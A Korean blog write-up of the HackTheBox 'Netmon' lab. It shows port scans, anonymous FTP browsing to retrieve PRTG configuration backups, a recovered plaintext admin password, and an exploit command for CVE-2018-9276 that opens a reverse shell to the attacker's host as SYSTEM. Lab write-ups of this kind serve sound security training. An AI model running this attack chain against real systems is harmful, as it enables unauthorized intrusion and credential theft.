모의 해킹/Windows

[모의 해킹] HackTheBox - Netmon

solo-infosec 2025. 3. 9. 21:47
반응형

Netmon

OS: Windows

취약점: 취약한 FTP 설정

 

취약한 FTP 서버와 PRTG 네트워크 모니터링 소프트웨어가 설치된 윈도우 머신이다. 기본적인 FTP 취약점에 대한 지식과 구글링을 통해 얻을 수 있는 PTRG 설치 디렉토리 구조에 대한 정보를 활용해서 공략할 수 있는 비교적 쉬운 난이도의 머신이다.

 

포트 스캐닝

nmap -Pn -sS --min-rate 1000 --max-retries 3 -p- -oN ./SYN_SCAN 10.129.230.176
PORT      STATE SERVICE
21/tcp    open  ftp
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
5985/tcp  open  wsman
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49668/tcp open  unknown
49669/tcp open  unknown
nmap -Pn -sC -sV 10.129.230.176 -p $(cat PORTS) -oN SERVICE_SCAN
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 02-02-19  11:18PM                 1024 .rnd
| 02-25-19  09:15PM       <DIR>          inetpub
| 07-16-16  08:18AM       <DIR>          PerfLogs
| 02-25-19  09:56PM       <DIR>          Program Files
| 02-02-19  11:28PM       <DIR>          Program Files (x86)
| 02-03-19  07:08AM       <DIR>          Users
|_11-10-23  09:20AM       <DIR>          Windows
| ftp-syst: 
|_  SYST: Windows_NT
80/tcp    open  http         Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor)
|_http-server-header: PRTG/18.1.37.13946
|_http-trane-info: Problem with XML parsing of /evox/about
| http-title: Welcome | PRTG Network Monitor (NETMON)
|_Requested resource was /index.htm
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49667/tcp open  msrpc        Microsoft Windows RPC
49668/tcp open  msrpc        Microsoft Windows RPC
49669/tcp open  msrpc        Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

 

우선 눈에 들어오는 포트는 FTP, HTTP, SMB 포트들이다.

FTP 서버를 통해 공격자는 민감한 정보를 가진 파일을 다운 받거나 악성 파일을 타겟 머신에 업로드 할 수 있다. 우선 FTP를 먼저 조사해 보자.

21/tcp FTP

nmap 서비스 스캐닝을 통해 알 수 있듯이 해당 FTP 서버는 Anonymous Login이 활성화 되있다. 익명 계정으로 FTP 서버에 접속해 직접 조사해 보자.

FTP anonymoud log in allowed
┌─[solo@parrot]─[~/Desktop/hack/ftp]
└──╼ $lftp 10.129.230.176
lftp 10.129.230.176:~> USER anonymous
Password: 
lftp anonymous@10.129.230.176:~> ls

 

뭔가 윈도우 C:\에 위치한 기본 디렉토리 구조와 유사하다. 

80/tcp HTTP

http://10.129.230.176를 요청하자 PRTG Network Monitor의 로그인 페이지로 리다이렉트 했다. 해당 페이지에서 PRTG 네트워크 모니터링 소프트웨어가 설치되있다는 것과 PRTG의 버전이 18.1.37.13946이라는 것을 확인할 수 있었다.

 

구글링을 통해 PRTG의 설정 파일이 위치한 디렉토리를 확인했다.

/ProgramData/Paessler/PRTG Network Monitor

https://kb.paessler.com/en/topic/463-how-and-where-does-prtg-store-its-data

 

How and where does PRTG store its data? | Paessler Knowledge Base

Hi, does accessing the log files(Historical data, I'm guessing Log Database.db) cause problems if PRTG is running? I wish to potentially extract sensor data, but afraid if it will interrupt the running PRTG by opening the files. I tried looking at the hist

kb.paessler.com

 

FTP 서버에서 해당 디렉토리를 찾아보자.

lftp anonymous@10.129.230.176:/ProgramData/Paessler/PRTG Network Monitor> ls
03-06-25  01:11AM       <DIR>          Configuration Auto-Backups
03-06-25  12:39AM       <DIR>          Log Database
02-02-19  11:18PM       <DIR>          Logs (Debug)
02-02-19  11:18PM       <DIR>          Logs (Sensors)
02-02-19  11:18PM       <DIR>          Logs (System)
03-06-25  12:39AM       <DIR>          Logs (Web Server)
03-06-25  12:39AM       <DIR>          Monitoring Database
02-25-19  09:54PM              1189697 PRTG Configuration.dat
02-25-19  09:54PM              1189697 PRTG Configuration.old
07-14-18  02:13AM              1153755 PRTG Configuration.old.bak
03-06-25  02:34AM              1722023 PRTG Graph Data Cache.dat
02-25-19  10:00PM       <DIR>          Report PDFs
02-02-19  11:18PM       <DIR>          System Information Database
02-02-19  11:40PM       <DIR>          Ticket Database
02-02-19  11:18PM       <DIR>          ToDo Database

 

"PRTG Configuration.dat" 파일과 해당 파일의 백업 파일들을 확인할 수 있었다. 우선 해당 파일들을 다운로드 받고 로컬 머신에서 확인해 보자. 

┌─[solo@parrot]─[~/Desktop/blog/hack_netmon_htb/ftp]
└──╼ $cat 'PRTG Configuration.dat' | wc -l
30099

 

이 결과로 알 수 있듯이 엄청난 양의 설정이 기록되 있었다;;; 그렇기 때문에 다양한 키워드를 사용해 쓸만한 정보만 필터링 해서 조사하는 과정을 거쳐야 했다. 구글링을 통해 PRTG 웹의 기본 관리자 계정이 prtgadmin이라는 것을 확인하고 해당 키워드를 설정 파일에서 찾아봤다.

 

비밀번호를 찾았지만 비밀번호가 암호화 되있었다. 이번엔 백업 파일들에서 prtgadmin 키워드를 사용해서 조금 더 조사해 봤다.

그리고 "PRTG Configuration.old.bak" 암호화 되지 않은 비밀번호를 획득할 수 있었다.

 

획득한 계정 정보 prtgadmin:PrTg@dmin2019을 사용하면 PRTG 웹에 성공적으로 로그인 할 수 있다.

 

PRTG Network Monitor를 조사해 보니 18.2.39 이하 버전들은 CVE-2018-9276 (OS Command Injection) 취약점을 가지고 있다는 것을 확인할 수 있었다. https://nvd.nist.gov/vuln/detail/CVE-2018-9276

 

NVD - CVE-2018-9276

CVE-2018-9276 Detail Modified This CVE record has been updated after NVD enrichment efforts were completed. Enrichment data supplied by the NVD may require amendment due to these changes. Description An issue was discovered in PRTG Network Monitor before 1

nvd.nist.gov

 

해당 취약점에 대한 Exploit Code를 다운받아서 실행시켜보자.

https://github.com/A1vinSmith/CVE-2018-9276

 

GitHub - A1vinSmith/CVE-2018-9276: CVE-2018-9276 PRTG < 18.2.39 Reverse Shell (Python3 support)

CVE-2018-9276 PRTG < 18.2.39 Reverse Shell (Python3 support) - A1vinSmith/CVE-2018-9276

github.com

(venv) ┌─[root@parrot]─[/home/solo/Desktop/hack/CVE-2018-9276]
└──╼ #python3 exploit.py -i 10.129.230.176 -p 80 --lhost 10.10.14.108 --lport 80 --user prtgadmin --password 'PrTg@dmin2019'
!!! SMB port 445/tcp must be open to carry out the exploit!!!

 

Exploit Code가 정삭적으로 작동했다. 확인해 보니 이미 System 계정이라서 굳이 추가적인 권한 상승이 필요하지 않았다. 곧바로 user.txtroot.txt를 확보하자.

 

기본적인 FTP 취약점에 대한 지식과 구글링을 통해 PRTG Network Monitor 설정 파일 구조 + 기본 관리자 계정 + 해당 버전 취약점에 대한 정보를 조합해서 공략할 수 있는 윈도우 머신이다.곧바로 윈도우 System 계정 권한을 가진 리버스쉘을 획득하기 때문에 별다른 권한상승은 필요하지 않다.

반응형